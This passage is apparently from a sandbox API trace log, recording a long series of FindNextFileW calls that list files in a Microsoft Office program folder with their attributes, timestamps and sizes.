nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x8b760, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLCFG32.CPL", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLSHEXT.DLL", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79fd00, ftCreationTime.dwHighDateTime=0x1c9cdff, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe79fd00, ftLastWriteTime.dwHighDateTime=0x1c9cdff, nFileSizeHigh=0x0, nFileSizeLow=0x25f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="MML2OMML.XSL", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6140cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9f368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MODELENG.DLL", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x9a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MORPH9.DLL", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82755f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x32960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXINT.DLL", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1de00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaca1de00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0xa5580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACC.OLB", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbe00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fbe00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x132cb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.EXE", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53eb900, ftCreationTime.dwHighDateTime=0x1cab7e4, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe53eb900, ftLastWriteTime.dwHighDateTime=0x1cab7e4, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe.manifest", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAEXP30.DLL", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.INF", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd78b00, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dd78b00, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x1aad, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.PPD", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccb6a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa1ff9760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ccb6a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_en.dub", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21901e00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dc8680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21901e00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_es.dub", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2dc400, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa3e79140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1f2dc400, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_fr.dub", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d49a00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa22a7020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57d49a00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7en.dll", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7es.dll", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efba800, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4c02e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5efba800, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7fr.dll", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfc9700, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dfc9700, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_en.dub", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c14b00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22c14b00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_es.dub", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205ef100, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x205ef100, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_fr.dub", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0xee9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7.dll", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b94600, ftCreationTime.dwHighDateTime=0x1c879f3, ftLastAccessTime.dwLowDateTime=0x69def8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b94600, ftLastWriteTime.dwHighDateTime=0x1c879f3, nFileSizeHigh=0x0, nFileSizeLow=0x2c5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7db.kic", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34365600, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e15a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34365600, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7en.kic", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x13e9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7es.kic", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7fr.kic", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c57810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x3567a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7ge.kic", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1da59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7jp.kic", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x81988, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tk.dll", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed9dc00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ed9dc00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x10f798, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tkjp.dll", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab61d00, ftCreationTime.dwHighDateTime=0x1bf9d1a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ab61d00, ftLastWriteTime.dwHighDateTime=0x1bf9d1a, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.ICO", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4306b00, ftCreationTime.dwHighDateTime=0x1ca223a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4306b00, ftLastWriteTime.dwHighDateTime=0x1ca223a, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9d7360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x36178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCF.DLL", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716ee900, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x716ee900, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x6a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFU.DLL", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFUIUTILITIESDLL.DLL", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dadcd00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xd61ff3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dadcd00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xa7f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSODCW.DLL", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x17b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x12d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEVI.DLL", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a159300, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a159300, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa94b500, ftCreationTime.dwHighDateTime=0x1caca29, ftLastAccessTime.dwLowDateTime=0x593a1b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa94b500, ftLastWriteTime.dwHighDateTime=0x1caca29, nFileSizeHigh=0x0, nFileSizeLow=0xa398, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSTYLE.DLL", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd6297920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSYNC.EXE", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd62e3be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x77978, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.EXE", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x593c7cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTL.OLB", cAlternateFileName="")) returned 1 [0079.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd6309d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x45578, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTLS.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f00800, ftCreationTime.dwHighDateTime=0x1caba23, ftLastAccessTime.dwLowDateTime=0xbde72640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f00800, ftLastWriteTime.dwHighDateTime=0x1caba23, nFileSizeHigh=0x0, nFileSizeLow=0x11560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPJEVTS.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: 